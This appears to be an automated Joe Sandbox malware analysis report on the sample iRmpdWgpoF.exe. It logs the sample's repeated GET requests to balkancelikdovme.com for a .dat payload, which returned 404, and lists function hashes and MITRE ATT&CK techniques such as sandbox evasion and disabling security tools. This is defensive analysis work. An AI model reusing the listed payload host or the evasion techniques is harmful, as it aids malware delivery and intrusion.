2025-01-10 21:39:22 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	50145	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:22 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:22 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:22 GMT vary: User-Agent
2025-01-10 21:39:22 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	50146	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:23 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:23 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:23 GMT vary: User-Agent
2025-01-10 21:39:23 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	50147	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:24 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:24 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:24 GMT vary: User-Agent
2025-01-10 21:39:24 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	50148	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:25 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:25 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:25 GMT vary: User-Agent
2025-01-10 21:39:25 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	50149	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:26 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:26 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:26 GMT vary: User-Agent
2025-01-10 21:39:26 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	50150	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:27 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:27 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:27 GMT vary: User-Agent
2025-01-10 21:39:27 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	50151	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:28 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:28 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:28 GMT vary: User-Agent
2025-01-10 21:39:28 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

System Behavior

Analysis Process: iRmpdWgpoF.exePID: 6428, Parent PID: 2580

General

Target ID:	0
Start time:	16:37:13
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\iRmpdWgpoF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\iRmpdWgpoF.exe"
Imagebase:	0x340000
File size:	6'144 bytes
MD5 hash:	26D35E00A9C0B32CBED369BF309F096E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: iRmpdWgpoF.exePID: 6428, Parent PID: 2580COMMON

Executed Functions

Function 024A0861 Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

<duq, xrefs: 024A08BD

Memory Dump Source

Source File: 00000000.00000002.3552024334.00000000024A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 024A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24a0000_iRmpdWgpoF.jbxd

Similarity

API ID:
String ID: <duq
API String ID: 0-2704095200
Opcode ID: 559b5335acc844a808fe437008fd8dfb8b001de62d1d44b79000f4564f6edfa1
Instruction ID: 84eb4d3416065c1c57700f9806bfe550945542bfa91118d493890a34ef1091e3
Opcode Fuzzy Hash: 559b5335acc844a808fe437008fd8dfb8b001de62d1d44b79000f4564f6edfa1
Instruction Fuzzy Hash: BB01F93170C240DFC31556645834B752BA16FA92D074524AFE443CF6A6DA144C87C3FA

Function 024A0870 Relevance: 1.3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

Strings

<duq, xrefs: 024A08BD

Memory Dump Source

Source File: 00000000.00000002.3552024334.00000000024A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 024A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24a0000_iRmpdWgpoF.jbxd

Similarity

API ID:
String ID: <duq
API String ID: 0-2704095200
Opcode ID: 15e3035a7194b56603809d56ea6885f699353ff6670a2e0a4fc129a4a8ab1420
Instruction ID: a990f97b5ff4573698d2183deb102eb2d45e1fed219f0443558de8a14b202ecd
Opcode Fuzzy Hash: 15e3035a7194b56603809d56ea6885f699353ff6670a2e0a4fc129a4a8ab1420
Instruction Fuzzy Hash: 1FF0BB3170C204DBC61866A89434F7527966FE87D1711246FF447CB695CA554CC3C2EA

Function 024A0950 Relevance: 1.3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

Strings

tocq, xrefs: 024A0A71

Memory Dump Source

Source File: 00000000.00000002.3552024334.00000000024A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 024A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24a0000_iRmpdWgpoF.jbxd

Similarity

API ID:
String ID: tocq
API String ID: 0-4013956356
Opcode ID: 8be1d405bdc63c77f322288d2acb836b58f5fed5ac484b545ee7519a380958ec
Instruction ID: 979d6a91fa40279c78eac37a35d0435468d34ff39e3f9fd669fbcb1d5d82792c
Opcode Fuzzy Hash: 8be1d405bdc63c77f322288d2acb836b58f5fed5ac484b545ee7519a380958ec
Instruction Fuzzy Hash: D6E0C2757040548FC361A23C85647AE76F2ABD8300BC5C029D986EB2D1EA609949C7A2

Function 024A0A70 Relevance: 1.3, Strings: 1, Instructions: 7COMMON

Download Yara Rule

Strings

tocq, xrefs: 024A0A71

Memory Dump Source

Source File: 00000000.00000002.3552024334.00000000024A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 024A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24a0000_iRmpdWgpoF.jbxd

Similarity

API ID:
String ID: tocq
API String ID: 0-4013956356
Opcode ID: c1d7471777b9e332285bc2c5afe3007a832b58b2c9a3c163bc2e499835fda537
Instruction ID: fdf4fa71b403eb484d81cb9bcf771afbb3788846f79f55acb1c67d24d0abec19
Opcode Fuzzy Hash: c1d7471777b9e332285bc2c5afe3007a832b58b2c9a3c163bc2e499835fda537
Instruction Fuzzy Hash: F4B012017008244F4264A338002032C00D66BF83403C2811DC486D32C0DE004E020366

Function 024A097A Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552024334.00000000024A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 024A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24a0000_iRmpdWgpoF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5ef029c36aaea5830f9e378c93843116a5c1cec170f0fa6c6771327bdec3509
Instruction ID: 1dd37bea28f8471ec0c8afd90285cbcba95c99cb07d877ce18a9b22f6c94207c
Opcode Fuzzy Hash: e5ef029c36aaea5830f9e378c93843116a5c1cec170f0fa6c6771327bdec3509
Instruction Fuzzy Hash: 53210774A04108CFDB14DF68D164BADBBB6BB7C300F14A4AAD007AB365DB359C82CB61

Function 024A07EB Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552024334.00000000024A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 024A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24a0000_iRmpdWgpoF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39e5939a382524cc944651e0a9b5678543899801dfe21b0aebed910ab947b643
Instruction ID: 8e2f889dc8f595a8201a8f93db75d5a64a9f1e9fb43cc3dc10816e0c0e55996e
Opcode Fuzzy Hash: 39e5939a382524cc944651e0a9b5678543899801dfe21b0aebed910ab947b643
Instruction Fuzzy Hash: 2001260D04EBE44EC3039B381679349BFB15C6724872920E7C0C2DB27FC0559D89D75A

Function 024A08D7 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552024334.00000000024A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 024A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24a0000_iRmpdWgpoF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58bc01ca3545120fd764e6d18afd8634373a43fea5de2112f0cee92c021203c0
Instruction ID: 33cc1812ac51cb337dbe1b5ad127f5c30126d3f631e950f88c188e14bc7681d3
Opcode Fuzzy Hash: 58bc01ca3545120fd764e6d18afd8634373a43fea5de2112f0cee92c021203c0
Instruction Fuzzy Hash: DBE09A3169D3D0CFC70687B8A8745A93FB02EA721031A10EFD082CB2A3D6548C57C79A

Function 024A090F Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552024334.00000000024A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 024A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24a0000_iRmpdWgpoF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 964a2d5185c816089ce2ad59c75686c293d785fbf21ec4ec6e507bdaceffc2b1
Instruction ID: 6b33752ec466f8dba960e1099f87479be171e90e357c9dbda4a85f69baaae54d
Opcode Fuzzy Hash: 964a2d5185c816089ce2ad59c75686c293d785fbf21ec4ec6e507bdaceffc2b1
Instruction Fuzzy Hash: 08E0ED2560D281DFD7019768A4346AA7FB86F7A35170510DBE047CF672D5504C82CB53

Function 024A0920 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552024334.00000000024A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 024A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24a0000_iRmpdWgpoF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1db5a05b68adaa6ca9c8ac124e18e87451d0b44f69e296e3c894e7fd8c096d82
Instruction ID: be5da7dd79c58bd365a5201b4a9e4a7a00bf64bf5b6685e5b5aa7b8490915f02
Opcode Fuzzy Hash: 1db5a05b68adaa6ca9c8ac124e18e87451d0b44f69e296e3c894e7fd8c096d82
Instruction Fuzzy Hash: 90D01735209111DFA60096A8A4246AA73ACBB7D36170020A7E00BCF630EA205CC3CB92

Function 024A0839 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552024334.00000000024A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 024A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24a0000_iRmpdWgpoF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ae26dc72683419067f0d2932e2fe9102224f08c84d837455eeef0577b4d1f96
Instruction ID: 93490ec358d356ee81d01c1b17c1716339c3ea21d617ff46d380f8c5e27ee61f
Opcode Fuzzy Hash: 9ae26dc72683419067f0d2932e2fe9102224f08c84d837455eeef0577b4d1f96
Instruction Fuzzy Hash: 6CC08CB04491409FCF009B64BC9A3903B30FF0120FF1840ECD8104B287E71B203B8B85

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report iRmpdWgpoF.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

